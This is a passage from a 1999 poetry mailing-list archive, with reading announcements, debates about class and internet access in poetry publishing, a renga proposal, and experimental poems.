Kenneth Koch is one of the original New York School poets, along with John Ashbery and Frank O'Hara. He is the author of Straits, Making Your Own Days: The Pleasures of Reading and Writing Poetry (for which Jordan Davis, a former student of Koch's, was Koch's editorial assistant) and On the Great Atlantic Rainway: Selected Poems, for which he was awarded the Bollingen Prize for Poetry. A new book of poems, New Addresses, will be published by Knopf in May. Jordan Davis is the author of, most recently, Poem on a Train (Barque Books), and a Little Golden Book. He is an editor of the literary journal, The Hat, and an organizer of the Poetry City reading series at Teachers & Writers. This will be the first time that Davis and Koch read together.

Friday, November 12th

at 10:30 pm

A reading for Latin Lovers

an anthology of gay men writing about their gay loves just published by Painted Leaf Press. Readers include: Erasmo Guerra, Jaime Manrique, Guillermo Castro, Regie Cabico, David Garnes, and Tim Driscoll.

All readings are $7 for nonmembers, $4 for students and seniors Readings are wheelchair-accessible with advance notice. Call [redacted] for more information.

*** If you would like to be removed from this e-mail list, respond with the message "please remove me" and we will be certain to do so. ***

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149. Peter Fogarty
Re: internet costs
Fri 5 Nov 1999

Seeing as Tony Green hasn't returned on the library tip, I must say that the libraries here are terrible. You can use the university library but you must be a student to borrow books. I never could stay very long in this library [I lie, the last few days I have spent all day at a desk in there, but with nary a glance at the shelves] because it has a very orthodox selection of work; most of my favourite writers have but a token presence. The city library in Auckland, Wellington and Christchurch are both free and both charge for new books. There is no public free internet. It's much cheaper to have your own connection than to use the cybercafes. University net time is very cheap also, but ohhhh so slow!

On the poets tip. I have to say I can't really stand other poet's poems, and often the poets themselves. It's their earnest belief that they've produced work that has importance, it's their categorization of themselves as a poet. I'm in denial, I can't stand my own work which is why it stays where it is, locked within a folder on my hd. Perhaps you might enjoy it, perhaps not. I am more interested in the poetics of people's poetry; the reasons why, the explanations, interpretations and thoughtpaths. These are infinitely more interesting than the same set of marks on a page that never change. Er! I must run for that bus!

Best regards
Peter

↑ Index

150. Kyle Conner
HIGHWIRE READING
Fri 5 Nov 1999

****

HIGHWIRE GALLERY READING SERIES
129 N. 2ND STREET, PHILADELPHIA

SATURDAY, NOVEMBER 13, 1999
3 PM
BYOB

John Colleti and Heather Starr

Following the reading, follow your leaders Kyle and Greg to Anthony's Olde City Pub for some only-in-Philly rot-gut. At 7:30 PM we'll all got to Giovanni's Room. C.A. Conrad will host a group reading to celebrate the publication of the Exquisite Corpse anthology published this year by Black Sparrow.

John Colleti is a totally righteous dude. He is art director for Nylon Designs and is currently collaborating on a series of plays.

Splayed Subtext

Rendezvous 8th AVenue Nite Aid Hot Roles
Farsighted Where Minds Play Wild Discovery
Don't Throw Your Life Away Phoenix House
Nearsighted La Nueva MEGA Know How
Many Days Are Left A Story Inside Every Jacket
Rockaway Call Us? We Can Help/Sponsored By
Air France 6 AV New Jersey Rocking Rollers
Daily News Television Helping To END TV
At CUNY Open 24 Hours Subway Maps IPO
To Fetch Banana Republic Record Stores Wild
Discovery Of The Modern Are From The WINE
STOP To Street The Siege The New York Eye &
Infirmary Circuit Avenue Home? Whatever
It's In L O O T

Heather Starr is Program Manager for the Writer's House. She's given tons of props to the Philadelphia poetry scene, so don't be lazy, come out and support Heather.

This Bow and Arrow

cast a shadow. ribs of color.
all i noticed was the curve.
worn white stones. constant drifting.
not target, and no open field in between.
can you shoot an arrow safely over
seas? strange weaving of arms.
a young man from Ottawa, his face turned.
a plank to water the island
of irises. here, let's go back to town.
we've been walking so long with our hands full.

↑ Index

151. **Richard Dillon**

Re: Miekal and Dobyns, etc.

Fri 5 Nov 1999

Justice, as the result of some implicit intellectual formula in this domain of poetry, seems the result of making everything and everyone the SAME.

Once HUD insists that eveveryonnee can have the SAME house that you and you have sweated afforded, then your book published by Henry Regenery and your book published by USPS art EQUAL.

(I doubt you, Chris, will publish this post.)

The fate of Virtu in Poetry
lies in the out and out war between Karl Marx
or the people who now manage the Panama Canal,
those who would make all the SAME
and the other team, say, The JoHn BiRcH SoCiEtY,
the DIFFERENT,
the people who envisioned/constructed the Panama Canal.
>From: Jim Andrews <[redacted]>
>To: [redacted]
>Subject: Miekal and Dobyns, etc.
>Date: Fri, Nov 5, 1999, 4:13 AM
>

> *Just want to state my agreement with Tom Beckett on this. Internet and*
> *e-mail are emphatically _not_ democratic media.*
>
> *What medium is democratic? What is a democratic medium? Radio and newspapers I*
> *suppose are the closest to being available to all. But those are also media that*
> *are not particularly open to input.*
>
> *They are exclusionist. The*
> *poor are, as Tom notes, once again the excluded.*
>
> *It's true that it does cost money to be on the Internet and to have a computer.*
> *And there are many countries, unlike just about all of Canada, where an Internet*
> *connection is not possible. And the United States does control the Internet. That*
> *needn't be the case, though, and if the Internet grows into a truly robust*
> *international communications channel, cannot remain so.*
>
> *Tom's point about electronic media militating against reflective habits of*
> *reading is also key. In fact, those subcultural groups that have so*
> *enthusiastically embraced the e-zone seem to have suspended their reflective*
> *attitudes in general.*

> *I don't understand your point about el. media militating against reflective habits at all, really. There is unmindfulness in most quarters, el. or not. I don't think it's a peculiarly el. phenomenon. And I have found that if you look hard on the Internet, you find many quarters that are simply brilliant and deeply reflective.*
>
> *Electronic commerce is the future of capitalism, and those websites devoted to such marginal activities as the publication of 'innovative' poetries will be just as marginal in the virtual world as existing small press publishers are in the real one.*
>
> *Economically you mean? Perhaps. Although that remains to be seen. Artists have a key advantage in this medium in that they can make Web sites and communicate in this medium in a way that is not possible to most. And, as opposed to TV, film, radio, and newspapers, they usually have access to it both as readers and writers. It will be the artists, not the typical publishers and broadcasters, etc., who establish dynamite publishing houses in various media on an international basis.*
>
> *Don't kid yourselves. The revolution will not be netcast. Oh, and books are not about to die.*
>
> *What revolution are you talking about? Liberty and justice and a PC and Internet connection on the desktop for all? No, I suppose it won't. But it does seem that there are some possibilities here for very widespread influence and action that should not be so lightly discounted by a reflective person like yourself. The trajectory is not so obviously a recapitulation of the status quo.*
>
> *You are debunking the myths of the popular press, and I suppose they need debunking, but after debunking the inane, isn't a more considered criticism in order? And isn't that what you find here on this electronic list, for instance?*

↑ Index

152. **K.Angelo Hehir**

phonaesthetic

Fri 5 Nov 1999

---

fellow travellers,

i'm doing some work on the acoustic hermeneutic. i've been pouring over linguistics and psychology journals and find sentiments like the following quotation displays common: "The phonaesthetic properties of words have been used extensively by poets but we will not be concerned with them here."

can anyone point me to some places where there is concern? i'm using jakobson's Six Lectures on Sound and Meaning as a starting point and

kostelanetz' Text-Sound Texts for examples but i'msure there is more recent scholarship with relationship to current poetic practices.

on another note, it's good to be back on poetics after time inside. it is a lot louder than i remember tho.

thanks,
kevin hehir

↑ Index

153. **George Bowering**
Re: Poets in towers
Fri 5 Nov 1999

> *I'm trying to locate a book of lit crit about poets who lived/worked in towers. I saw it in a catalogue recently, but I can't remember where. The author was a woman, I think. Poets were Jeffers, Yeats, Rilke, and…(there was a fourth). Anyone know the book?*
> *Thanks,*
> *Mark Melnicove*

Joyce lived in a tower.

George Bowering.

,

fax: [redacted]

↑ Index

154. **f i l c h**
Re: Miekal and Dobyns, etc.
Sat 6 Nov 1999

And the United States does control the Internet.
- said Jim.

I said "This is bullshit Jim, TCP/IP controls the internet. Take the United States out of the internet and the grammar still works and the networks still run."

↑ Index

155. **dan raphael**
Where to read in Boston
Sat 6 Nov 1999

---

will be in Boston for a weekend in April (after a nightlong red-eye from westcoast portland) and since i dont get out that way much, and am an

energetic reader, would be fun to read there, if possible. please backchannel any ideas to query.

thanks

dan raphael

↑ Index

156. **Jim Andrews**
Re: Miekal and Dobyns, etc.
Sat 6 Nov 1999

Where are the primary DNS servers? In the United States, aren't they? And doesn't this mean that other countries have Internet access strictly according to the whim of the United States or those who control the primary DNS servers? Don't the DNS (Dynamic Name Servers) contain the records that actually direct http requests to the appropriate computers on the network?

Isn't it Network Solutions that controls the primary DNS servers? A few other companies can register domain names, but isn't it through Network Solutions' ultimate control of the content in the primary DNS servers?

f i l c h wrote:

> *And the United States does control the Internet.*
> *- said Jim.*
>
> *I said "This is bullshit Jim, TCP/IP controls the internet. Take the United States out of the internet and the grammar still works and the networks still run."*

↑ Index

157. **Alan Sondheim**
Lecture: Natural Kinds
Sat 6 Nov 1999

-

Lecture: Natural Kinds

Sat Nov 6 01:07:18 EST 1999 first off, I thought of a single node with numerous links; only one was connected, as if the others were absorbed in it. the centrality of it, the vulnerability of the other nodes, this was a misrecognition. i would have diagrammed this, a shimmering of the real in which each entity is affected. Sat Nov 6 01:08:29 EST 1999 further, it had to do with natural kinds; the question came literally to mind - is a "natural kind" a natural kind? what sort of universals occur? for example, think of water. Sat Nov 6 01:09:24 EST

1999 I then went to think of water. there are names in every language, in all possible worlds, but they are tied to water, water then remaining at the node, the shimmering of the forms, and connectivities, node to pointer of the proper name, but this seems insufficient. why so inefficient? let's say it has to do with data storage, a kind of stability generated. I'd lecture on this, improvise, continue, go ahead with all the ramifications. in my imagination, I pictured the audience, myself pacing back and forth on the stage, gravity taken for granted. Sat Nov 6 01:11:25 EST 1999 because the style of the world is that it remains, its obdurate nature, that things remain sufficiently in place for life to promulgate, memory to use devices. the subtexts of the devices are the encodings of the real, which are stable. it goes back, all of it, to non-equilibrium thermodynamics on ultra-fast time-scales from within. it goes back as well to nearly-decomposable hierarchies of the real, the impossibly slow decay, if any, of the proton, the relative emptiness of space, our planetary luck with our collisions. Sat Nov 6 01:13:02 EST 1999 more than that, the node as generator - all those names. or as if the node itself generated the names, locale after locale, their interdependencies and modification occurring on a superstructural level, but always already connected to the real. that's the inherent tendency of language, always - towards the real. Sat Nov 6 01:14:07 EST 1999 language of the real and towards the real; it's not disconnect, but connect so tightly that it literally becomes unimaginable. language and the real bound, not through parallelisms or empathies, but through natural kinds based on hyperstable tendencies of the universe as a whole. Sat Nov 6 01:14:59 EST 1999 fading from culture is fading from language, returning from culture is returning from language. where the returning or fading transforms, what teleologies, what places or spaces, is unsolvable - there is no solution, just as there are no places and spaces as such. Sat Nov 6 01:17:06 EST 1999 the solution is in the absence of the solution, in spite of which, worlds work away, as with the three- body problem - the world works, no matter the mathesis, which in our eyes, follows suit. Sat Nov 6 01:17:33 EST 1999 the descriptions are non-imagin- ary, unimaginable.Sat Nov 6 01:18:36 EST 1999 Sat Nov 6 01:18:36 EST 1999

Sat Nov 6 01:07:18 EST 1999 one that is realized, sensory bandwidths and relativisms become more and less important. less important, since techno- logical or linguistic extensions are literally that, on the deepest imag- inable level. more important, since the relativisms point to superstruc- turality in need of deconstruction, which can never be completed; every- thing is equally always already in a state of fading from culture. go where no one has ever gone before, to the deepest couplings and linkages of the world. then you might lose your grips on natural language, as you slip towards natural kinds. Sat Nov 6 01:18:09 EST 1999 the descriptions are non-imaginary, unimaginable.Sat Nov 6 01:18:27 EST 1999

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158. Louis Cabri
PhillyTalks 13, 12, 11 now available
Sat 6 Nov 1999

PHILLYTALKS #s 13, 12, 11 now available

P H I L L Y T A L K S #13
newsletter + event

RACHEL BLAU DUPLESSIS / BARRETT WATTEN

Mon. Nov. 15th (1999) 6 pm, free
Kelly Writers House, 3805 Locust Walk
Philadelphia [redacted]

"PhillyTalks" invites two poets to begin a dialogue on each other's work, then have the resulting exchange published in newsletter form & made available to readers prior to (& after) the event. The poets, following their poetry reading, informally extend their dialogue. The audience then joins in. A future newsletter will feature a transcript of the event, as well as written responses to previous newsletters. CALL FOR RESPONSES: Please email [redacted], or write: Louis Cabri, 529B - 19 Ave SW, Calgary, Alberta, Canada, T2S 0E3.

AVAILABLE NOW ($2 ea.):

#13: Rachel BLAU DUPLESSIS / Barrett WATTEN

#12: Transcript & response issue: Andrew LEVY / Jackson
MAC LOW. Response by Alan FILREIS.

#11: Ammiel ALCALAY / Tom MANDEL (March 1997)
Introduction by Joshua SCHUSTER.

Back issues:

#1: David BROMIGE / Laura MORIARTY
#2: Andrew LEVY / Jackson MAC LOW
#3: Jeff DERKSEN / Ron SILLIMAN
#4: Tina DARRAGH / Jena OSMAN
#5: Alan GILBERT / Rodrigo TOSCANO
#6: Transcript & response issue: DERKSEN/SILLIMAN (#3)
w/ BECKETT, FRIEDLANDER, JAEGER, KLOBUCAR et al
#7: Brian Kim STEFANS / Fred WAH
#8: Bruce ANDREWS / Rod SMITH

#9: Steven FARMER / Peter GIZZI
#10: Heather FULLER / Melanie NEILSON

#s 1, 2, 3, 6 available at http://english.upenn.edu/~wh/phillytalks thanks to Aaron Levy; more to follow.

Louis Cabri
Curator, PhillyTalks

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159. Ron Silliman
Ammiano for Mayor (SF)
Sat 6 Nov 1999

Some retro carpet-bagging on my part here. Tom Ammiano has made the mayoral runoff in San Francisco against Willie Brown. Brown has long been a social liberal who has used that stance to front for the most rapacious developers who've driven SF into a place where rental units now run $1,000 per month per bedroom (a far cry from the $350 I and my roommates paid in total for our 7-bedroom house in "Baja Pacific Heights" in the 1976-78 period).

Ammiano is a stand-up comic who first got active in politics by pushing to protect the rights of gay teachers in the mid-1970s. He's currently the president of the county board of supervisors and ran a write-in campaign that garnered 25 percent of all votes with just $20,000 (compared to Brown's 39 percent thanks to a budget of $2.3 million). Voters ejected ex-mayor/ex-police chief Frank Jordan and political consultant Clint Reilly from the run-offs, two relatively conservative politicians who got 29 percent of the vote.

Those of us who remember the late Harvey Milk are enheartened by a demonstration that populist politics need not be the know-nothing libertarianism of, say, a Jesse Ventura.

You don't need to live in San Francisco to benefit from Ammiano's election in the December election.

And you can help!

Call [redacted] or e-mail [redacted] to volunteer and help make history.

If you would like to make a contribution, send a check made payable to "Tom Ammiano For Mayor" to:
Ammiano for Mayor
125 Upper Terrace
San Francisco, CA 94117
(if donation is $100 or greater,
specify your occupation & employer)

FPPC ID # 990924

Ron Silliman

↑ Index

160. Tom Beckett
misc.
Sat 6 Nov 1999

I'm planning on adding to the debate about media and etc but life is getting complicated. I've had computer problems for the last 2 days. Plus there's been an unexpected death in my family, so I'll be leaving tomorrow to visit the town I was born in (haven't been back for more than 30 years) for a couple of days to attend to the business of saying goodbye to a person with whom I had a long and complicated emotional relationship.

Tom Beckett

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161. Robin Tremblay-McGaw
pain in the ass--class
Sat 6 Nov 1999

In response to David Baratier's response to Kathy Lou Schultz's posting on class (which was in
response to a posting by Jill Stengel):

It might be interesting for people to take a wander over to the HOW2 forum on class and innovative
writing for some very interesting responses to questions about class and innovative writing and also
for a look at Schultz's essay on class and my piece looking at class, gender and genre in Dodie
Bellamy's The Letters of Mina Harker.
http://www.departments.bucknell.edu/stadler_center/how2/current/forum/forum.html#west

That said, I'd like to point out that each time this issue has come up on this list there has been a
smattering of responses filled with hostility. Apparently, it is verboten to cast any kind of light at all
on the topic. Of course, class and other issues related to power (feminist investigations spring to
mind) always make some uncomfortable. Each of us is implicated.

When the complexities of class bleed through imposed boundaries and definitions lots of
frustration gets expressed. These complexities are problematic; they problematicize our
conceptualizing, our reading, and our writing. They are multiple, not neatly categorized and
powerful. They deserve attention, ever the more so for all the discomfort they cause.

I'm with Will Alexander on this: "But what I speak of is the imaginal power to leap beyond
the brutally imposed confines to combat the bureaucracies with an
elemental seismics, with a new and alien thinking."

Robin Tremblay-McGaw

Date: Thu, 4 Nov 1999 17:51:28 +0000
From: David Baratier <[redacted]>
Subject: Re: Business, class, access

David Baratier:
There are many publishers outside & on this list who do not
>use the perpetual victim stance or "have not" status you are attributing
>to the lower classes

KL:
Question: How does bringing the power of analysis to bear on a situation,
speaking out about it, and producing works in response to it constitute being a "victim"?

Answer:

Are you asserting that you are analyzing the situation? Throughout your posting you blame a social construct as a way to position yourself. The implication of--
"I get very tired of this because money does buy access: more time to write, money to publish one's own journals and books, which in turn increases both community as well as publishing opportunities for one's own work by increasing your 'profile' and 'reputation.'" ---is that your working class background does not allow you to go beyond the societal expectation inherent in class structure.

"Publication being determined partly by who you know" The implication that one cannot "know" anyone without ludicrous jacksons hits me as another oppressive class myth. I know a guy who was a steelworker when tri-quarterly

published his first book. I know a guy who works in a cranberry bog for numerous months each year, who is well published & one

of the latter half of this centuries best poets. And so on--

"There's a lack of access to the Internet, where one can hobnob with publishers and magazine editors" Yet another victim statement. Interested folks can go to the library for free, as mentioned.

While not all of these quotes are yours, Kathy, as you also say, "the quote from Bobbie implicates both Bobbie & myself, in a way laying things bare, and saying, yup this is how it works." My question is, in what way are you a reliable source for what occurs in the upper eschelons of poetry if you have never been there? I also add, as a person whose income is negligible, that I have not personally experienced the insinuated discrepancies described.

Be well

David Baratier

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162. Ron Silliman
Shurin review in the Chron
Sun 7 Nov 1999

An excellent review of an excellent book by Aaron Shurin turns up in this week's SF Chronicle. That URL below should all be one line.

http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/11/07/RV87292.DTL

_____
Get Your Private, Free Email at http://www.hotmail.com

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163. r.drake
factoid
Sun 7 Nov 1999

Happed across the Lycos "top 50" popular search words:

http://50.lycos.com/

and noticed that "poetry" was number 8. that's up from #9 last week (just behind Pamela Anderson and WWF), and displacing the NFL, which fell to #10. what does it all mean? and what are all those folks searching for when they type in "poetry"?

lbd

↑ Index

164. Alan Sondheim
hanging text iii
Sun 7 Nov 1999

-

hanging text iii

i've gone in as far as i can go. i'm choked on all of it. i'm waiting for you. i'm waiting for the line to hang up. i'm waiting to hang from the line. i'm kept hanging. i'm in there. i'm pressed out of your back. i'm pressed out between our legs. i'm broken in there. i'm all colors of the rainbow. i'm in shame. i'm hiding myself. i'm exposed. i'm troubled with all of this. i'm nowhere. there are no suns to tell. i know i'm bound to tell you. there's nothing to look at left or right. there's everything to look at which empties it all out. what could be, what is emptied out. there's no truth but i'd at least include this in what might be seen as a search for it.

i stop by the nikuko shrine. it's ornate, ornamental, elaborate, convolu- ted, repetitive, baroque, rococo, encrusted. it's all over me. i dream of a black line through the deep carvings, gravures. it carries me like a lightning fork through it. i realize - in real life - i've swallowed frac- tal energies churning in me. they're black carrying my holes into unknown tunnels i enter to find myself hanging there.

my words huddle together in the tunnels azure and i make into each other, forking. i can't hear anything and scent dominates, chemicals pressing into closed eyes. so i remember any scrolls i come across, there are a lot of them and i'm thinking about them. they unravel into a luminous eye:

to be chanted by burned and hanging bodies:

large and luminous eye, detached, in its fullness, circumscopic, sphere of surrounding waters

reflecting within towards diffusing centers, there you would find, invisibly, coalescing of emanants

we would not be acquainted with the emanants and their coalescing, nor of the large and luminous eye, lidless and always open to its internal light

nor would we speak of size in this indeterminacy of the sphere, emptiness surrounding, nor would we speak of the quality of this emptiness, nor of diffusing centers or diffusing center, nor of number before number

nor of the moments, before which time moved exponentially from infinity, into and out of infinity, nor primordial concepts of into and out of, nor primordial concepts of infinity

thinking when time beginning exponentially, thinking
of the singularity of the vector or ray,
the direction among sphericities,
growth of a circular nimbus on the exterior, primordial exteriors,
waves of circumscriptions, splittings and emergent emanants

primordial names among with nikuko emerging, of wisdom and ambiance, turning back towards diffusing centers, submerging, primordial pulsings and rhythms

and meanings the beginnings of shrines and primordial powers, emergences without beginning, paradoxes of progress and development, the eye, i, i, i, i, i

now so sadly hanging burned upon the tree,
now turning slowly in the wind,
now long gaunt arm descending, now long fingers
almost touching the ground, slowly turning around the object,
slowly grasping it

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165. Eckerd College Review
Re: your mail (fwd)
Sun 7 Nov 1999

Dear Poets,

We thought you might be interested in receiving the guidelines for the first annual _Eckerd College Review_ Poetry Contest, recently advertised in _Poets & Writers Magazine_. If you're not interested, we apologize for inconveniencing you.

ECR is a literary magazine of fiction and poetry produced by the writing workshop at Eckerd College in St. Petersburg, Florida. Our most recent issue included a number of fine poets: Dannie Abse, Ruth Schwartz, Betty Adcock, and Dana Gioia, among others. In the past, writers such as Red Hawk, Katheryn Stripling Byer, Dorothy Allison, Elie Wiesel, Fred Chappell, and R.T. Smith have appeared in our pages.

We accept submissions of short fiction (fewer than 25 pages) and poetry (no more than 75 lines). A brief cover letter with a biographical note is

appreciated. We do not accept submissions via disk or e-mail, and we cannot consider simultaneous submissions.

All contest entries are subject to the same guidelines as regular submissions (cover letter, bio note, etc.). Contest entries should be clearly marked "Poetry Contest." The first round of judging will be completed by ECR editorial staff. The winning poet will receive $500; 2nd and 3rd place poets will receive $50; all winning poems will be published in the Spring 2000 issue of ECR. All contest entries will be considered for publication.

Please include a self-addressed stamped envelope and a processing fee of $7 for three poems ($3 for each additional poem) with your entry. Checks should be made payable to The Eckerd College Review and addressed to:

> The Eckerd College Review Poetry Contest
> 4200 54th Avenue South
> St. Petersburg, FL 33711

All submissions to ECR, regular or contest, should arrive before December 1, 1999. Expect a response time of 3 to 6 months. Also, please note that we will be unable to reply to individual questions regarding the contest; refer to resources such as the _Poets' Market_ for general poetry submission guidelines.

We look forward to reading your work!

Sincerely,

Cecily Iddings
Tomas Radcliffe, Editors

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166. Jerrold Shiroma
Small Press Publications
Sun 7 Nov 1999

This weeks small press publications list is now online. The deadline for the next listing is Nov 19.

www.durationpress.com

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167. Betsy Andrews
BELLADONNA READING
Sun 7 Nov 1999

ENJOY
BELLADONNA*

(*deadly nightshade, a cardiac and respiratory stimulant, having purplish-red flowers and black berries)

Brilliant San Franciscan PAM LU
&
New York's Own KRISTIN STUART

reading at
BLUESTOCKINGS women's bookstore
172 Allen Street
TUESDAY NOVEMBER 16TH AT 8 PM
([redacted])

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168. Philip Nikolayev
TEST_COERCION_TO_CHAR.OUT
Mon 8 Nov 1999

TEST_COERCION_TO_CHAR.OUT

for Alan Sondheim

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169. Alan Sondheim
14 lines
Mon 8 Nov 1999

14 lines

{k:1}> new hang.txt; cat lf hang.txt > lf.txt; t; mv lf.txt lf; rm hang.txt; m hang text if the cat hangs; hang text if its new; pointer to your life; your life everywhere; mmmm... hang whatever might be the presence of animals; if something is new or out of the ordinary; if you need pointers for living; you're not omnipotent; hmmm... hang all presences to be freed; whatever is ordinary is invisible; pointing the way of all life; you're always invisible; bmmm... presences are freed; whatever is new is unforeseen; the way of all life is unforeseen; whatever is new is invisible; hmmm... you're freed and unforeseen; there is no way of all life; nothing is old, nothing new; mmmm... visibility of life; hangings; presences; animals; cats; nothing; m

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170. Robert Archambeau
Re: renga redux
Mon 8 Nov 1999

Renga Beginning and Ending with a Line by Christopher Alexander

"What is certain is that the renga's occlusion
    of other conversation
        became tedious after a time"
To be continued
    by Grant Jenkins
        on subsubpoetics
if he
    so
        desires.

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171. **Brent Long**
Merwin
Mon 8 Nov 1999

Does anyone on the list know of any upcoming dates on which W.S. Merwin will be reading?

Thanks

Brent A. Long

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172. **Jim White**
Re: your mail (fwd)
Mon 8 Nov 1999

---

do check out our new website for writers and artists...
www.americanartists.org thanks jim white

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173. **Jordan Davis**
the renga
Mon 8 Nov 1999

Grant --

I'm all for it --
but I should mention --
the renga provoked the biggest dropoff in list membership --
bigger even than any meatflap debate scribbling --

Jordan

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174. **Steve Clay**
Fagin/Winkfield DIG & DELVE
Mon 8 Nov 1999

Granary Books and Poetry City
invite all to a publication party
for an amazing new collaborative
book by Larry Fagin and Trevor Winkfield
called Dig & Delve.

The party will be held
Thursday Nov 11 from 7-9

(the entrance door locks at 8)
at Teachers & Writers
5 Union Square West, 7th floor
NY NY

Further information about this book (Mr.
Winkfield's first full color book)
including example pages will be posted on
the Granary website in a week or so.

Hope to see you there.

Steve Clay

Steve Clay
Granary Books
307 Seventh Ave., #1401
NY, NY 10001
http://www.granarybooks.com
tel [redacted]
fax [redacted]

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175. **Layne Russell**
Re: The Use of This Listserv
Mon 8 Nov 1999

I am interested, love renga and collab, am participating in two cyber rengas now.

Layne

Grant Jenkins wrote:

> *With all of this discussion about the nature of the internet and its relation to poetry, I'm wondering why we use this listserv mostly for debates and advertisement.*
>
> *I think most of us would agree that collaboration and community are what make the poetry we are interested in different. Aren't we supposed to be a group of poets and people interested in poetics (poeticists?)? Then why don't we use this listserv for more creative purposes?*
>
> *Does anyone remember the renga that was spontaneously composed on this listserv around the death of Ginsberg? Why don't we do more of that?*
>
> *Anyone interested?*

> *grant j*
> *virginia*

↑ Index

176. David Kellogg
Re: The Use of This Listserv
Mon 8 Nov 1999

> *Does anyone remember the renga that was spontaneously composed on this listserv around the death of Ginsberg? Why don't we do more of that?*
>
> *Anyone interested?*

Well yes, but wouldn't we have to kill someone first?

Cheers,
David
~~~
~~~

a desire to have change as an primary element of what one does. Will does not name the "brutally imposed confines" in his writings and neither do I. A force to work against without the naming process supplies the energy without the denegrative state of reverse labeling. Upon saying who I am, in person, perhaps these ideologies of opposition become less opaque, but this is not a requirement to understanding. Desire and priority are the missing aspects-- as with many I've placed writing first, done a survival called the necessary, in whatever method has worked-- rather than point to my class upbringing or ethnicity as a justification.

I find, as someone who has a lower class income, that your assessment is inaccurate. I felt your mass categorization of the lower classes was not one fitting to myself or many of the writers in the same situation I know closely. It is unfortunate that many believe they do not have access to the things you list below. This unfounded belief perpetuates itself in not having these opportunities become manifest. That classism exists, I agree. When it is used as an excuse, whether to defend one's choices, supposed lack thereof, or to support poorly written work, its utility is worthless.

PS-- Thanks Robin.

Be well

David Baratier

Again, this response brings with it a massive load of
assumptions about *me* and where I have and haven't been.
And you are simply kidding yourself if you think that
class has nothing to do with access to time to write,
educational opportunities, access to literary communities,
access to the Internet, access to publications and being
published, time to read, money to buy books, money to
publish books, etc.
Hurray for the steelworker who published a book. What does
this prove? Is this the exception to the rule?
And why is it that when folks speak up about class in
poetry communities they are immediately accussed of being
"victims" "whiners" etc.? Is this how you respond to
racism? Or does racism exist, and classism doesn't? Get
real.
Kathy Lou

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178. **Poetics List**
renga redux
Mon 8 Nov 1999

Those of you who have come to the list more recently will not recall the renga to which Grant Jenkins refers, which was initiated in the context of the Yasusada affair (as it came to be called) by Steven Shoemaker in July 1995. Further information is available, as always, in the searchable archive of the Poetics List; follow the Poetics links from the front page of the Electronic Poetry Center at <http://epc.buffalo.edu>.

What was interesting in the project was the perhaps unexpected effect of simultaneity of response, which was to derail the form into a hydra-like entity that eventually came to dominate list discourse. Much less interesting was the general tenor of response, which tended not to reflection or density but sheer verbiage - anyway, that was my response in 1995. What is certain is that the renga's occlusion of other conversation became tedious after a time; I believe the first call to halt - in any case, the most damning - was given in August 1995 by George Bowering:

> When I hear the word "renga" I reach
> for my D-key.

(Perhaps recalling a quotation lightly attributed to Jack Spicer in Beatitude no. 17: "When I hear the word Ferlingetti, I reach for my g..n."). GB's sentiment was seconded not long after by Lindz Williamson in a message entitled "Please Stop."

I wouldn't want to prevent any such project from happening on the list, but I would suggest that it might be of use to learn from the past. Perhaps if someone would volunteer to be the renga custodian, so that the list wouldn't be flooded with such messages? That is, this volunteer could collect and assemble the responses backchannel, sending updates to the list periodically. I think David Israel performed this service for us with the renga written for the late, loved Allen Ginsberg during his illness in March-April 1997.

In any case, I want to avoid having 15 renga-related messages coming to the list every day, as happened before.

> Chris

% Christopher W. Alexander
% poetics list moderator

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179. Poetics List
The Internet and all that / Mills
Mon 8 Nov 1999

I had to reformat this message. Please keep in mind
that HTML formatting should not be sent to the list.

Chris

--

From: "Mills, Billy" <[redacted]>
Date: Fri, 5 Nov 1999 16:23:38 -0000

Date: Thu, 4 Nov 1999 00:07:43 +0000

> *From:* [redacted]
>
> *Subject: Some stats on Web usage*
>
>
> *Region / Internet Users (in millions)*
>
> *United States, Canada 107.3*
>
> *Europe 46.4*
>
> *Asia/Pacific* 33.6*
>
> *Latin America 5.3*
>
> *Africa 1.7*
>
> *Middle East 0.9*
>
>
> **Includes Australia and New Zealand*
>
>
> *Source: Red Herring magazine, December 1999*

So, the arguments are not melting before my eyes.

I did not say that poets should not use PCs: the fact that I am e-mailing

these messages would contradict such a proposition.

I am saying that we should not lie to ourselves that the Web is more open

than books are.

Yes, access is easier: if you are a citizen of the 'developed' 'world'.

Yes, books were exclusionist in their day, so that makes it OK to reproduce this in Webworld? While we're at it, we could reinstitute serfdom, witch hunts and child labour.

I know a lot of poets find new and exciting potential in virtual creation, and that the Internet gives users access to a huge range of material. But look again at the figures posted by kathylou, and then let's be honest about the _social_ limitations of the medium. It is, in many ways, another way of enforcing centre/margin relationships, another hot topic on this list.

Billy

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180. Poetics List

Re: tendering opposition / Mills

Mon 8 Nov 1999

I had to reformat this message. Chris

--

From: "Mills, Billy" <[redacted]>
Date: Fri, 5 Nov 1999 16:17:43 -0000

On the subject of poetry and communication, here some extracts from Brian Coffey on that very subject. These quotes are from an interview with Parkman Howe sometime in the 70s. The question to which Brian was responding was: 'You have often said that you do not aim to communicate in your poetry.'

'Well, I want as a platform, if one is talking about poetry, that poets do not write in order to communicate. And if they do put themselves in the position of being communicators, then they are propagandists.....

But what is communication? ...you have a sending device, you have a receiving device, and you have a medium for sending, and a bit of information: something like, say, the letter _o_. It goes in to the sending device and it is despatched so it is reproduced whole and entire, _o_, at the other end.... Now nothing has occurred really....

..what happens when one encounters a new poem? Well, there is non-understanding to begin with, and, one hopes, non-preconception...

Now. in such meetings there is not communication. There is something quite different going on that is extremely tentative on both sides. The tentativeness is

something which has a long future ahead of it. It may end in rejection, it may end in something else.'

Billy

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181. Grant Jenkins
Re: renga redux
Mon 8 Nov 1999

Chris Alexander wrote:

> *Perhaps if someone would volunteer to*
> *be the renga custodian, so that the list wouldn't be flooded*
> *with such messages? That is, this volunteer could collect*
> *and assemble the responses backchannel, sending updates to*
> *the list periodically. I think David Israel performed this*
> *service for us with the renga written for the late, loved*
> *Allen Ginsberg during his illness in March-April 1997.*
>
> *In any case, I want to avoid having 15 renga-related*
> *messages coming to the list every day, as happened before.*

Since it was my redux, I would gladly volunteer to be the e-seamstress of a collaborative fabric. I simply think this listserv could serve not simply as a bulletin board for immediate concerns but as a kind of anthology or tapestry of collective, communal art. At least, that is how I would like people to look back on this endeavor in the future.

Please send ideas, fragments, lines, and other contributions to me: [redacted]. I will try to send updates to the list as often as my schedule allows.

Grant

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182. Poetics List
DAC 99 conference report / Marsh
Mon 8 Nov 1999

I had to reformat this message. Chris

--

From: "William Marsh" <[redacted]>
Date: Fri, 5 Nov 1999 10:07:32 -0800

